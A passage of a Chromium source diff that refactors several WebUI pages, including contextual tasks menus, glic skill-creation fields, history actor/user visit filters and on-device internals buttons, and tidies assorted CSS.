+                .description="${this.getHostname_(item.tab.url)}"
+                .url="${item.tab.url}" .title="${item.tab.title}">
+            </cr-url-list-item>
           `;
         } else if (item.file) {
           return html`
-            <button class="dropdown-item" @click="${this.onFileClick_}"
-                data-index="${index}">
-              <div class="icon-container">
-                <cr-icon icon="thumbnail:pdf" class="file-icon">
-                </cr-icon>
-              </div>
-              <div class="file-name">${item.file.title}</div>
-            </button>
+            <cr-url-list-item class="dropdown-item" data-index="${index}"
+                @click="${this.onFileClick_}"
+                .url="${item.file.url}" .title="${item.file.title}">
+              <cr-icon slot="customIcon" icon="thumbnail:pdf" class="file-icon">
+              </cr-icon>
+            </cr-url-list-item>
           `;
         } else if (item.image) {
           return html`
-            <button class="dropdown-item" @click="${this.onImageClick_}"
-                data-index="${index}">
-              <div class="image-container">
-                <img is="cr-auto-img" class="image-thumbnail"
-                  .autoSrc="${item.image.url}" aria-label="${item.image.title}">
-              </div>
-              <div class="image-title">${item.image.title}</div>
-            </button>
+            <cr-url-list-item class="dropdown-item" data-index="${index}"
+              @click="${this.onImageClick_}"
+              .imageUrls="${[item.image.url]}" .title="${item.image.title}">
+            </cr-url-list-item>
           `;
         } else {
           return '';
diff --git a/chrome/browser/resources/contextual_tasks/sources_menu.ts b/chrome/browser/resources/contextual_tasks/sources_menu.ts
index af9b8b6d..51657c2 100644
--- a/chrome/browser/resources/contextual_tasks/sources_menu.ts
+++ b/chrome/browser/resources/contextual_tasks/sources_menu.ts
@@ -6,10 +6,10 @@
 import '//resources/cr_elements/cr_action_menu/cr_action_menu.js';
 import '//resources/cr_elements/cr_icon/cr_icon.js';
 import '//resources/cr_elements/cr_auto_img/cr_auto_img.js';
+import '//resources/cr_elements/cr_url_list_item/cr_url_list_item.js';
 import 'chrome://resources/cr_components/composebox/icons.html.js';
 
 import {AnchorAlignment} from '//resources/cr_elements/cr_action_menu/cr_action_menu.js';
-import {assert} from '//resources/js/assert.js';
 import type {CrActionMenuElement} from 'chrome://resources/cr_elements/cr_action_menu/cr_action_menu.js';
 import {getFaviconForPageURL} from 'chrome://resources/js/icon.js';
 import {CrLitElement} from 'chrome://resources/lit/v3_0/lit.rollup.js';
@@ -58,37 +58,36 @@
     this.$.menu.close();
   }
 
+  private getContextInfoFromEvent_(e: Event): ContextInfo {
+    const index = Number((e.currentTarget as HTMLElement).dataset['index']);
+    return this.contextInfos[index]!;
+  }
+
   protected onTabClick_(e: Event) {
     this.close();
 
-    const currentTarget = e.currentTarget as HTMLElement;
-    const index = Number(currentTarget.dataset['index']);
-    const tab = this.contextInfos[index]?.tab;
-    assert(tab);
-
     chrome.metricsPrivate.recordUserAction(
         'ContextualTasks.WebUI.UserAction.TabFromSourcesMenuClicked');
     chrome.metricsPrivate.recordBoolean(
         'ContextualTasks.WebUI.UserAction.TabFromSourcesMenuClicked', true);
-    this.browserProxy_.handler.onTabClickedFromSourcesMenu(tab.tabId, tab.url);
+    const contextInfo = this.getContextInfoFromEvent_(e);
+    this.browserProxy_.handler.onTabClickedFromSourcesMenu(
+        contextInfo.tab!.tabId, contextInfo.tab!.url);
   }
 
   protected onFileClick_(e: Event) {
     this.close();
 
-    const currentTarget = e.currentTarget as HTMLElement;
-    const index = Number(currentTarget.dataset['index']);
-    const file = this.contextInfos[index]?.file;
-    assert(file);
-    this.browserProxy_.handler.onFileClickedFromSourcesMenu(file.url);
+    const contextInfo = this.getContextInfoFromEvent_(e);
+    this.browserProxy_.handler.onFileClickedFromSourcesMenu(
+        contextInfo.file!.url);
   }
 
   protected onImageClick_(e: Event) {
     this.close();
-    const index = Number((e.currentTarget as HTMLElement).dataset['index']);
-    const image = this.contextInfos[index]?.image;
-    assert(image);
-    this.browserProxy_.handler.onImageClickedFromSourcesMenu(image.url);
+    const contextInfo = this.getContextInfoFromEvent_(e);
+    this.browserProxy_.handler.onImageClickedFromSourcesMenu(
+        contextInfo.image!.url);
   }
 
   protected faviconUrl_(url: string): string {
diff --git a/chrome/browser/resources/contextual_tasks/top_toolbar.css b/chrome/browser/resources/contextual_tasks/top_toolbar.css
index 2639bf6..2902ff241 100644
--- a/chrome/browser/resources/contextual_tasks/top_toolbar.css
+++ b/chrome/browser/resources/contextual_tasks/top_toolbar.css
@@ -21,13 +21,14 @@
   display: flex;
   height: 20px;
   padding: 7px 12px;
-  margin: 6px 4px 0px 4px;
+  margin: 6px 4px 0 4px;
 }
 
 .top-toolbar-title {
   overflow: hidden;
   align-items: center;
-  font-size: 16px;
+  font-size: 14px;
+  font-weight: 500;
   flex: 1;
   text-overflow: ellipsis;
   white-space: nowrap;
diff --git a/chrome/browser/resources/default_browser/default_browser_modal/app.css b/chrome/browser/resources/default_browser/default_browser_modal/app.css
index 709cf53..6bad5e2 100644
--- a/chrome/browser/resources/default_browser/default_browser_modal/app.css
+++ b/chrome/browser/resources/default_browser/default_browser_modal/app.css
@@ -86,7 +86,7 @@
   align-items: center;
   overflow: hidden;
   background-color: var(--cr-fallback-color-inverse-primary);
-  border-radius: 8px 8px 8px 0px;
+  border-radius: 8px 8px 8px 0;
 }
 
 #illustration img {
diff --git a/chrome/browser/resources/discards/graph_tab.ts b/chrome/browser/resources/discards/graph_tab.ts
index 1c87556..c231d7a 100644
--- a/chrome/browser/resources/discards/graph_tab.ts
+++ b/chrome/browser/resources/discards/graph_tab.ts
@@ -60,6 +60,8 @@
   }
 
   override disconnectedCallback() {
+    super.disconnectedCallback();
+
     // TODO(siggi): Is there a way to tear down the binding explicitly?
     this.graphDump_ = null;
     if (this.resizeObserver_) {
diff --git a/chrome/browser/resources/downloads/item.css b/chrome/browser/resources/downloads/item.css
index be6a4edc..553d7c9 100644
--- a/chrome/browser/resources/downloads/item.css
+++ b/chrome/browser/resources/downloads/item.css
@@ -56,6 +56,7 @@
   width: var(--downloads-card-width);
   max-width: calc(100% - 2 * var(--downloads-card-margin));
 }
+
 #main-content {
   display: flex;
   flex: none;
diff --git a/chrome/browser/resources/extensions/review_panel.css b/chrome/browser/resources/extensions/review_panel.css
index 6d9c35196..871e3d2 100644
--- a/chrome/browser/resources/extensions/review_panel.css
+++ b/chrome/browser/resources/extensions/review_panel.css
@@ -13,7 +13,7 @@
   /* label in panel-header's cr-expand-button adds its own vertical padding.
      Thus, we need to subtract it from the panel-header padding */
   padding: calc(var(--cr-section-padding) -
-      var(--cr-section-vertical-padding)) 0px;
+      var(--cr-section-vertical-padding)) 0;
 }
 
 .header-group-wrapper {
@@ -42,7 +42,7 @@
 .panel-extension-info {
   flex: 1;
   margin-top: 15px;
-  margin-bottom: 0px;
+  margin-bottom: 0;
 }
 
 .bulk-action-button {
diff --git a/chrome/browser/resources/extensions/shared_style.css b/chrome/browser/resources/extensions/shared_style.css
index a542d67..d1ec505 100644
--- a/chrome/browser/resources/extensions/shared_style.css
+++ b/chrome/browser/resources/extensions/shared_style.css
@@ -115,14 +115,14 @@
   background-color: var(--cr-card-background-color);
   border-radius: var(--cr-card-border-radius);
   box-shadow: var(--cr-card-shadow);
-  padding: 0px var(--cr-section-padding);
+  padding: 0 var(--cr-section-padding);
   container-type: inline-size;
 }
 
 .panel-header {
   align-items: center;
   display: flex;
-  padding: var(--cr-section-padding) 0px;
+  padding: var(--cr-section-padding) 0;
 }
 
 .panel-header-text {
@@ -143,7 +143,7 @@
   border-top: var(--cr-separator-line);
   /* Extension rows have a min height that adds extra padding. Thus, we
      subtract an adjustment to account for it */
-  padding: calc(var(--cr-section-padding) - 6px) 0px;
+  padding: calc(var(--cr-section-padding) - 6px) 0;
 }
 
 .panel-extension-row {
diff --git a/chrome/browser/resources/extensions_zero_state_promo/zero_state_promo_app.css b/chrome/browser/resources/extensions_zero_state_promo/zero_state_promo_app.css
index 90a028b..977b5e2 100644
--- a/chrome/browser/resources/extensions_zero_state_promo/zero_state_promo_app.css
+++ b/chrome/browser/resources/extensions_zero_state_promo/zero_state_promo_app.css
@@ -33,14 +33,14 @@
   align-items: flex-start;
   display: flex;
   justify-content: space-between;
-  padding: 0px;
+  padding: 0;
 }
 
 #title {
   font-size: 18px;
   font-weight: 500;
   line-height: 24px;
-  margin: 0px;
+  margin: 0;
   width: 260px;
 }
 
@@ -59,7 +59,8 @@
   width: 272px;
 }
 
-#labelContainer, #buttonContainer {
+#labelContainer,
+#buttonContainer {
   display: flex;
   flex-direction: row;
   gap: var(--container-gap);
@@ -70,10 +71,12 @@
   padding: 0;
 }
 
-.v1Chip, .v2Chip, .v3Chip {
+.v1Chip,
+.v2Chip,
+.v3Chip {
   border-radius: var(--zero-state-promo-chip-border-radius);
-  padding: 0px;
-  gap: 0px;
+  padding: 0;
+  gap: 0;
   --cr-chip-border-radius: var(--zero-state-promo-chip-border-radius);
 }
 
@@ -83,7 +86,8 @@
   --color-chip-icon: var(--color-sys-inverse-primary);
 }
 
-.v2Chip, .v3Chip  {
+.v2Chip,
+.v3Chip  {
   background-color: var(--zero-state-promo-foreground-color);
   --color-chip-foreground: var(--zero-state-promo-background-color);
   --color-chip-icon: var(--zero-state-promo-background-color);
diff --git a/chrome/browser/resources/glic/glic.css b/chrome/browser/resources/glic/glic.css
index 31f4103..1f88494 100644
--- a/chrome/browser/resources/glic/glic.css
+++ b/chrome/browser/resources/glic/glic.css
@@ -14,7 +14,8 @@
   --color--surface-container: light-dark(#F0F4F9, #282A2C);
 }
 
-html, body {
+html,
+body {
   margin: 0;
   height: 100%;
 }
diff --git a/chrome/browser/resources/glic/glic_api/glic_api.ts b/chrome/browser/resources/glic/glic_api/glic_api.ts
index 4a273a9..95332a41 100644
--- a/chrome/browser/resources/glic/glic_api/glic_api.ts
+++ b/chrome/browser/resources/glic/glic_api/glic_api.ts
@@ -2091,8 +2091,21 @@
 }
 
 export declare interface CreateSkillRequest {
+  /**
+   * A unique identifier for the skill. This is only available when the user is
+   * trying to remix a 1P skill.
+   */
+  id?: string;
+  /** The user-facing name of the skill. Only available in 1P remix flow. */
+  name?: string;
+  /** The icon for the skill. Only available in 1P remix flow. */
+  icon?: string;
   /** A prompt for the skill, which can be empty. */
   prompt: string;
+  /** The description of the skill. Only available in 1P remix flow. */
+  description?: string;
+  /** The source of the skill. */
+  source?: SkillSource;
 }
 
 export declare interface UpdateSkillRequest {
diff --git a/chrome/browser/resources/glic/glic_api_impl/host/host_from_client.ts b/chrome/browser/resources/glic/glic_api_impl/host/host_from_client.ts
index c2a8c62..06cc71c9 100644
--- a/chrome/browser/resources/glic/glic_api_impl/host/host_from_client.ts
+++ b/chrome/browser/resources/glic/glic_api_impl/host/host_from_client.ts
@@ -9,7 +9,7 @@
 import {loadTimeData} from '//resources/js/load_time_data.js';
 
 import {ContentSettingsType} from '../../content_settings_types.mojom-webui.js';
-import type {ActorTaskPauseReason as ActorTaskPauseReasonMojo, ActorTaskStopReason as ActorTaskStopReasonMojo, CaptureRegionObserver, CaptureRegionResult as CaptureRegionResultMojo, OpenSettingsOptions as OpenSettingsOptionsMojo, PinCandidate as PinCandidateMojo, PinCandidatesObserver, ScrollToSelector as ScrollToSelectorMojo, TabDataHandlerInterface, TabDataMojoType, WebClientHandlerInterface} from '../../glic.mojom-webui.js';
+import type {ActorTaskPauseReason as ActorTaskPauseReasonMojo, ActorTaskStopReason as ActorTaskStopReasonMojo, CaptureRegionObserver, CaptureRegionResult as CaptureRegionResultMojo, OpenSettingsOptions as OpenSettingsOptionsMojo, PinCandidate as PinCandidateMojo, PinCandidatesObserver, ScrollToSelector as ScrollToSelectorMojo, SkillSource as MojomSkillSource, TabDataHandlerInterface, TabDataMojoType, WebClientHandlerInterface} from '../../glic.mojom-webui.js';
 import {CaptureRegionErrorReason as CaptureRegionErrorReasonMojo, CaptureRegionObserverReceiver, CurrentView as CurrentViewMojo, PinCandidatesObserverReceiver, ResponseStopCause as ResponseStopCauseMojo, SettingsPageField as SettingsPageFieldMojo, TabDataHandlerReceiver, WebClientReceiver} from '../../glic.mojom-webui.js';
 import type {ActorTaskPauseReason, ActorTaskStopReason, CancelActionsResult, CaptureRegionErrorReason, ConversationInfo, CreateSkillRequest, DraggableArea, GetPinCandidatesOptions, Journal, OnResponseStoppedDetails, OpenSettingsOptions, PinTabsOptions, Screenshot, ScrollToParams, Skill, SkillSource, TabContextOptions, TaskOptions, UnpinTabsOptions, UpdateSkillRequest, ViewChangedNotification, WebClientMode, ZeroStateSuggestions, ZeroStateSuggestionsOptions, ZeroStateSuggestionsV2} from '../../glic_api/glic_api.js';
 import {CaptureScreenshotErrorReason, ClientView, CreateTaskErrorReason, PerformActionsErrorReason, ResponseStopCause, ScrollToErrorReason} from '../../glic_api/glic_api.js';
@@ -390,7 +390,15 @@
   async glicBrowserCreateSkill(request: {
     request: CreateSkillRequest,
   }): Promise<{modalOpened: boolean}> {
-    return await this.handler.createSkill(request.request);
+    const mojoRequest = {
+      id: request.request.id ?? '',
+      name: request.request.name ?? '',
+      icon: request.request.icon ?? '',
+      prompt: request.request.prompt,
+      description: request.request.description ?? '',
+      source: request.request.source as number as MojomSkillSource,
+    };
+    return await this.handler.createSkill(mojoRequest);
   }
 
   async glicBrowserUpdateSkill(request: {
diff --git a/chrome/browser/resources/glic/internals/glic_internals_app.css b/chrome/browser/resources/glic/internals/glic_internals_app.css
index 0be5d13..fb1da65 100644
--- a/chrome/browser/resources/glic/internals/glic_internals_app.css
+++ b/chrome/browser/resources/glic/internals/glic_internals_app.css
@@ -19,14 +19,23 @@
   width: calc(100% - 4*var(--cr-card-border-radius));
 }
 
-td {
-  padding: 2px;
-}
-
 tr:nth-child(even) {
   background-color: var(--cr-fallback-color-surface-variant);
 }
 
+td {
+  border-radius: 4px;
+  padding: 4px 8px;
+}
+
+td.status-true {
+  text-align: center;
+}
+
+td.status-false {
+  text-align: center;
+}
+
 .presets-container {
   display: flex;
   flex-direction: column;
diff --git a/chrome/browser/resources/glic/internals/glic_internals_app.html.ts b/chrome/browser/resources/glic/internals/glic_internals_app.html.ts
index 18c33a2..7dc9dbc 100644
--- a/chrome/browser/resources/glic/internals/glic_internals_app.html.ts
+++ b/chrome/browser/resources/glic/internals/glic_internals_app.html.ts
@@ -6,6 +6,12 @@
 
 import type {GlicInternalsAppElement} from './glic_internals_app.js';
 
+function tdForBoolean(value: boolean) {
+  return html`<td class="status-${value}">
+    ${value ? '✅' : '🚫'}
+  </td>`;
+}
+
 export function getHtml(this: GlicInternalsAppElement) {
   // clang-format off
   return html`<!--_html_template_start_-->
@@ -19,41 +25,41 @@
         </tr>
         <tr>
           <td>Enabled by Chrome Flags</td>
-          <td>${!this.data_.enablement.featureDisabled}</td>
+          ${tdForBoolean(!this.data_.enablement.featureDisabled)}
         </tr>
         <tr>
           <td>Regular profile</td>
-          <td>${!this.data_.enablement.notRegularProfile}</td>
+          ${tdForBoolean(!this.data_.enablement.notRegularProfile)}
         </tr>
         <tr>
           <td>Pref or flag based rollout (flag or pref) applies</td>
-          <td>${!this.data_.enablement.notRolledOut}</td>
+          ${tdForBoolean(!this.data_.enablement.notRolledOut)}
         </tr>
         <tr>
           <td>Account exists and has the Gemini in Chrome capability</td>
-          <td>${!this.data_.enablement.primaryAccountNotCapable}</td>
+          ${tdForBoolean(!this.data_.enablement.primaryAccountNotCapable)}
         </tr>
         <tr>
           <td>Account exists and is fully signed-in</td>
-          <td>${!this.data_.enablement.primaryAccountNotFullySignedIn}</td>
+          ${tdForBoolean(!this.data_.enablement.primaryAccountNotFullySignedIn)}
         </tr>
         <tr>
           <td>
             Chrome Enterprise policy allows this feature (or doesn't apply)
           </td>
-          <td>${!this.data_.enablement.disallowedByChromePolicy}</td>
+          ${tdForBoolean(!this.data_.enablement.disallowedByChromePolicy)}
         </tr>
         <tr>
           <td>Server side admin allows this feature</td>
-          <td>${!this.data_.enablement.disallowedByRemoteAdmin}</td>
+          ${tdForBoolean(!this.data_.enablement.disallowedByRemoteAdmin)}
         </tr>
         <tr>
           <td>Server side allows this feature (Not admin policy)</td>
-          <td>${!this.data_.enablement.disallowedByRemoteOther}</td>
+          ${tdForBoolean(!this.data_.enablement.disallowedByRemoteOther)}
         </tr>
         <tr>
           <td>User did pass the FRE</td>
-          <td>${!this.data_.enablement.notConsented}</td>
+          ${tdForBoolean(!this.data_.enablement.notConsented)}
         </tr>
       </table>` :
       html`<h3 id="loadingMsg">Loading...</h3>`}
@@ -66,7 +72,7 @@
         </tr>
         <tr>
           <td>Account is eligible for Live</td>
-          <td>${!this.data_.enablement.liveDisallowed}</td>
+          ${tdForBoolean(!this.data_.enablement.liveDisallowed)}
         </tr>
         <tr>
           <td>Actuation eligibility</td>
diff --git a/chrome/browser/resources/history/app.ts b/chrome/browser/resources/history/app.ts
index 2d3b8fa..2d1ab7f9 100644
--- a/chrome/browser/resources/history/app.ts
+++ b/chrome/browser/resources/history/app.ts
@@ -219,6 +219,8 @@
     querying: false,
     searchTerm: '',
     after: null,
+    includeUserVisits: true,
+    includeActorVisits: true,
   };
   protected accessor selectedPage_: string = Page.HISTORY;
   protected accessor selectedTab_: number =
@@ -901,7 +903,12 @@
       e: CustomEvent<{userVisits: boolean, actorVisits: boolean}>) {
     this.includeUserVisits_ = e.detail.userVisits;
     this.includeActorVisits_ = e.detail.actorVisits;
-    /* TODO: Implement firing the change query here. */
+
+    this.fire_('change-query', {
+      search: this.queryState_.searchTerm,
+      includeActorVisits: this.includeActorVisits_,
+      includeUserVisits: this.includeUserVisits_,
+    });
   }
 
   protected showFilterChips_(): boolean {
diff --git a/chrome/browser/resources/history/history_list.ts b/chrome/browser/resources/history/history_list.ts
index 89641581..583ec06f 100644
--- a/chrome/browser/resources/history/history_list.ts
+++ b/chrome/browser/resources/history/history_list.ts
@@ -155,6 +155,8 @@
     querying: false,
     searchTerm: '',
     after: null,
+    includeUserVisits: true,
+    includeActorVisits: true,
   };
   accessor scrollTarget: HTMLElement = document.documentElement;
   accessor scrollOffset: number = 0;
diff --git a/chrome/browser/resources/history/query_manager.ts b/chrome/browser/resources/history/query_manager.ts
index 8e376971..20d56f0 100644
--- a/chrome/browser/resources/history/query_manager.ts
+++ b/chrome/browser/resources/history/query_manager.ts
@@ -52,6 +52,8 @@
     querying: false,
     searchTerm: '',
     after: null,
+    includeUserVisits: true,
+    includeActorVisits: true,
   };
   accessor queryResult: QueryResult = {
     info: null,
@@ -109,12 +111,19 @@
         browserService.handler.queryHistoryContinuation() :
         browserService.handler.queryHistory(
             this.queryState.searchTerm, RESULTS_PER_PAGE,
-            afterTimestamp ? afterTimestamp : null);
+            afterTimestamp ? afterTimestamp : null,
+            this.queryState.includeUserVisits,
+            this.queryState.includeActorVisits);
     // Ignore rejected (cancelled) queries.
     promise.then((result) => this.onQueryResult_(result.results), () => {});
   }
 
-  private onChangeQuery_(e: CustomEvent<{search: string, after: string}>) {
+  private onChangeQuery_(e: CustomEvent<{
+    search: string,
+    after: string,
+    includeUserVisits?: boolean,
+    includeActorVisits?: boolean,
+  }>) {
     const changes = e.detail;
     let needsUpdate = false;
 
@@ -132,6 +141,24 @@
       needsUpdate = true;
     }
 
+    if (changes.includeUserVisits !== undefined &&
+        changes.includeUserVisits !== this.queryState.includeUserVisits) {
+      this.queryState = {
+        ...this.queryState,
+        includeUserVisits: changes.includeUserVisits,
+      };
+      needsUpdate = true;
+    }
+
+    if (changes.includeActorVisits !== undefined &&
+        changes.includeActorVisits !== this.queryState.includeActorVisits) {
+      this.queryState = {
+        ...this.queryState,
+        includeActorVisits: changes.includeActorVisits,
+      };
+      needsUpdate = true;
+    }
+
     if (needsUpdate) {
       this.queryHistory_(false);
     }
diff --git a/chrome/browser/resources/history/router.ts b/chrome/browser/resources/history/router.ts
index 1a8c6c6..b861ac29 100644
--- a/chrome/browser/resources/history/router.ts
+++ b/chrome/browser/resources/history/router.ts
@@ -53,6 +53,8 @@
     querying: false,
     searchTerm: '',
     after: null,
+    includeUserVisits: true,
+    includeActorVisits: true,
   };
   timeRangeStart?: Date;
 
diff --git a/chrome/browser/resources/inspect/inspect.css b/chrome/browser/resources/inspect/inspect.css
index 6786775f..d8e0252 100644
--- a/chrome/browser/resources/inspect/inspect.css
+++ b/chrome/browser/resources/inspect/inspect.css
@@ -97,6 +97,7 @@
   min-width: 32em;
   padding: 0 20px 65px 0;
 }
+
 #content > div:not(.selected) {
   display: none;
 }
diff --git a/chrome/browser/resources/legion_internals/legion_internals.css b/chrome/browser/resources/legion_internals/legion_internals.css
index 5f3479e..5b354bbe 100644
--- a/chrome/browser/resources/legion_internals/legion_internals.css
+++ b/chrome/browser/resources/legion_internals/legion_internals.css
@@ -55,6 +55,7 @@
   display: flex;
   flex-direction: column;
 }
+
 #request-input {
   width: 100%;
   height: 100px;
@@ -64,14 +65,17 @@
   flex-grow: 1;
   margin-bottom: 10px; /* Add some space between textarea and button */
 }
+
 #send-button {
   padding: 8px 12px;
   height: 34px;
   align-self: flex-end;
 }
+
 .console-header {
   margin-bottom: 10px;
 }
+
 .hidden {
   display: none;
 }
diff --git a/chrome/browser/resources/lens/overlay/side_panel/feedback_toast.css b/chrome/browser/resources/lens/overlay/side_panel/feedback_toast.css
index d3a3fd9..f535232 100644
--- a/chrome/browser/resources/lens/overlay/side_panel/feedback_toast.css
+++ b/chrome/browser/resources/lens/overlay/side_panel/feedback_toast.css
@@ -25,7 +25,7 @@
   --color-toast-foreground: #474747;
   --cr-icon-button-fill-color: #5E5E5E;
   border-radius: 12px;
-  box-shadow: 0px 2px 6px 0px rgba(23, 23, 23, 0.32);
+  box-shadow: 0 2px 6px 0 rgba(23, 23, 23, 0.32);
   display: flex;
   height: 48px;
   left: 0;
diff --git a/chrome/browser/resources/lens/overlay/side_panel/side_panel_error_page.css b/chrome/browser/resources/lens/overlay/side_panel/side_panel_error_page.css
index e04bd21..aa70f5de 100644
--- a/chrome/browser/resources/lens/overlay/side_panel/side_panel_error_page.css
+++ b/chrome/browser/resources/lens/overlay/side_panel/side_panel_error_page.css
@@ -26,13 +26,13 @@
 
 #errorIcon {
   height: 48px;
-  margin: 156px auto 0px;
+  margin: 156px auto 0;
   width: 40px;
 }
 
 :host([is-protected-error]) #errorIcon {
   height: 58px;
-  margin: 152px auto 0px;
+  margin: 152px auto 0;
   width: 58px;
 }
 
@@ -83,4 +83,3 @@
 :host(:not([is-protected-error])) #protectedIcon {
   display: none;
 }
-
diff --git a/chrome/browser/resources/media_router/internals/media_router_internals.css b/chrome/browser/resources/media_router/internals/media_router_internals.css
index 2925d7b5..48de3c1 100644
--- a/chrome/browser/resources/media_router/internals/media_router_internals.css
+++ b/chrome/browser/resources/media_router/internals/media_router_internals.css
@@ -31,7 +31,8 @@
   font-size: 14px;
 }
 
-td, th {
+td,
+th {
   border: 1px solid gray;
   text-align: left;
   padding: 8px;
diff --git a/chrome/browser/resources/new_tab_page/action_chips/action_chips.css b/chrome/browser/resources/new_tab_page/action_chips/action_chips.css
index 3175aed..4e0c3ccd 100644
--- a/chrome/browser/resources/new_tab_page/action_chips/action_chips.css
+++ b/chrome/browser/resources/new_tab_page/action_chips/action_chips.css
@@ -20,7 +20,7 @@
 
 @keyframes chips-slide {
   to {
-    transform: translateY(0px);
+    transform: translateY(0);
   }
 }
 
@@ -150,7 +150,7 @@
   border-radius: 12px;
   gap: 16px;
   height: 36px;
-  padding: 0px 10px;
+  padding: 0 10px;
   width: 100%;
 }
 
@@ -245,7 +245,7 @@
 }
 
 :host(:not([show-simplified-ui_])) .deep-dive-chip .action-chip-text-container {
-  padding: 2px 0px;
+  padding: 2px 0;
 }
 
 :host([show-simplified-ui_]) .action-chip-text-container {
diff --git a/chrome/browser/resources/new_tab_page/app.css b/chrome/browser/resources/new_tab_page/app.css
index 1814204..73f6960b 100644
--- a/chrome/browser/resources/new_tab_page/app.css
+++ b/chrome/browser/resources/new_tab_page/app.css
@@ -108,7 +108,7 @@
  * and it needs to be segregated to get the OGB scrimmed. */
 #oneGoogleBarStackingContext {
   display: flex;
-  border: 0px;
+  border: 0;
   top: 0;
   width: 100%;
   /* OGB is above any other element by default to keep the original behavior. */
diff --git a/chrome/browser/resources/new_tab_page/modules/calendar/calendar_event.css b/chrome/browser/resources/new_tab_page/modules/calendar/calendar_event.css
index 75f44601..c0b30ec 100644
--- a/chrome/browser/resources/new_tab_page/modules/calendar/calendar_event.css
+++ b/chrome/browser/resources/new_tab_page/modules/calendar/calendar_event.css
@@ -102,7 +102,9 @@
   padding: 4px 0;
 }
 
-#attachments, #attachmentList, #location {
+#attachments,
+#attachmentList,
+#location {
   column-gap: 8px;
   display: flex;
   width: 100%;
diff --git a/chrome/browser/resources/new_tab_page/modules/calendar/calendar_event.ts b/chrome/browser/resources/new_tab_page/modules/calendar/calendar_event.ts
index 8135cff..f5d17c85 100644
--- a/chrome/browser/resources/new_tab_page/modules/calendar/calendar_event.ts
+++ b/chrome/browser/resources/new_tab_page/modules/calendar/calendar_event.ts
@@ -88,6 +88,8 @@
   protected accessor timeStatus_: string = '';
 
   override updated(changedProperties: PropertyValues<this>) {
+    super.updated(changedProperties);
+
     if ((changedProperties.has('event') || changedProperties.has('expanded')) &&
         (this.expanded && this.showAttachments_())) {
       const attachmentList = this.renderRoot.querySelector('#attachmentList');
diff --git a/chrome/browser/resources/omnibox/ml/ml_table.css b/chrome/browser/resources/omnibox/ml/ml_table.css
index c9e34b9..ec80623 100644
--- a/chrome/browser/resources/omnibox/ml/ml_table.css
+++ b/chrome/browser/resources/omnibox/ml/ml_table.css
@@ -58,7 +58,8 @@
   border-color: var(--theme);
 }
 
-.th:only-child, .td:only-child {
+.th:only-child,
+.td:only-child {
   grid-column: 1 / -1;
 }
 
diff --git a/chrome/browser/resources/omnibox/output_results_group.css b/chrome/browser/resources/omnibox/output_results_group.css
index f4acda5e..a019690 100644
--- a/chrome/browser/resources/omnibox/output_results_group.css
+++ b/chrome/browser/resources/omnibox/output_results_group.css
@@ -168,6 +168,7 @@
   vertical-align: middle;
   margin: 0 2px;
 }
+
 .cell-contents-and-description .pair-container,
 .cell-destination-url .pair-container,
 .cell-fill-and-inline .pair-container {
diff --git a/chrome/browser/resources/omnibox_popup/app.html.ts b/chrome/browser/resources/omnibox_popup/app.html.ts
index db1f7af7..1e6b492f 100644
--- a/chrome/browser/resources/omnibox_popup/app.html.ts
+++ b/chrome/browser/resources/omnibox_popup/app.html.ts
@@ -38,7 +38,7 @@
       ?show-recent-tab-chip="${
         this.isContentSharingEnabled_ && this.computeShowRecentTabChip_()}"
       .inputState="${this.inputState_}"
-      ?show-model-picker="${this.showModelPicker_}"
+      ?show-model-picker="${this.usePecApi_}"
       @add-tab-context="${this.addTabContext_}"
       @context-menu-entrypoint-click="${this.onContextualEntryPointClicked_}"
       @lens-search-click="${this.onLensSearchChipClicked_}">
diff --git a/chrome/browser/resources/omnibox_popup/app.ts b/chrome/browser/resources/omnibox_popup/app.ts
index 828caf70..792c68b3 100644
--- a/chrome/browser/resources/omnibox_popup/app.ts
+++ b/chrome/browser/resources/omnibox_popup/app.ts
@@ -98,6 +98,7 @@
       tabSuggestions_: {type: Array},
       inputState_: {type: Object},
       showModelPicker_: {type: Boolean},
+      usePecApi_: {type: Boolean},
     };
   }
 
@@ -123,6 +124,8 @@
   protected accessor inputState_: InputState|null = null;
   protected accessor showModelPicker_: boolean =
       loadTimeData.getBoolean('contextualMenuShowModelPicker');
+  protected accessor usePecApi_: boolean =
+      loadTimeData.getBoolean('contextualMenuUsePecApi');
 
   private callbackRouter_: PageCallbackRouter;
   private eventTracker_ = new EventTracker();
diff --git a/chrome/browser/resources/on_device_internals/model_status.html.ts b/chrome/browser/resources/on_device_internals/model_status.html.ts
index 498c283..16af491 100644
--- a/chrome/browser/resources/on_device_internals/model_status.html.ts
+++ b/chrome/browser/resources/on_device_internals/model_status.html.ts
@@ -126,12 +126,14 @@
             <td>${adaptation.version}</td>
             <td>${adaptation.isRecentlyUsed}</td>
             <td>
-              <button @click="${() =>
-                this.onFeatureUsageSetterClick_(adaptation.featureKey, true)
-              }">set to true</button>
-              <button @click="${() =>
-                this.onFeatureUsageSetterClick_(adaptation.featureKey, false)
-              }">set to false</button>
+              <button data-feature="${adaptation.featureKey}"
+                  @click="${this.onSetFeatureUsageTrueClick_}">
+                set to true
+              </button>
+              <button data-feature="${adaptation.featureKey}"
+                  @click="${this.onSetFeatureUsageFalseClick_}">
+                set to false
+              </button>
             </td>
           </tr>`)}
       </tbody>
diff --git a/chrome/browser/resources/on_device_internals/model_status.ts b/chrome/browser/resources/on_device_internals/model_status.ts
index cf9d264..9f16299 100644
--- a/chrome/browser/resources/on_device_internals/model_status.ts
+++ b/chrome/browser/resources/on_device_internals/model_status.ts
@@ -100,8 +100,17 @@
     this.mayRestartBrowser_ = true;
   }
 
-  protected async onFeatureUsageSetterClick_(
-      feature: number, isRecentlyUsed: boolean) {
+  protected onSetFeatureUsageTrueClick_(e: Event) {
+    const feature = Number((e.currentTarget as HTMLElement).dataset['feature']);
+    this.setFeatureUsage_(feature, true);
+  }
+
+  protected onSetFeatureUsageFalseClick_(e: Event) {
+    const feature = Number((e.currentTarget as HTMLElement).dataset['feature']);
+    this.setFeatureUsage_(feature, false);
+  }
+
+  protected async setFeatureUsage_(feature: number, isRecentlyUsed: boolean) {
     await this.proxy_.handler.setFeatureRecentlyUsedState(
         feature, isRecentlyUsed);
     this.getPageData_();
diff --git a/chrome/browser/resources/on_device_internals/tools.css b/chrome/browser/resources/on_device_internals/tools.css
index e1fcdf8..db06108 100644
--- a/chrome/browser/resources/on_device_internals/tools.css
+++ b/chrome/browser/resources/on_device_internals/tools.css
@@ -97,11 +97,13 @@
   overflow-wrap: break-word;
 }
 
-.retracted, .error {
+.retracted,
+.error {
   background-color: var(--google-red-100);
 }
 
-.image-error, .audio-error {
+.image-error,
+.audio-error {
   color: var(--cr-fallback-color-error);
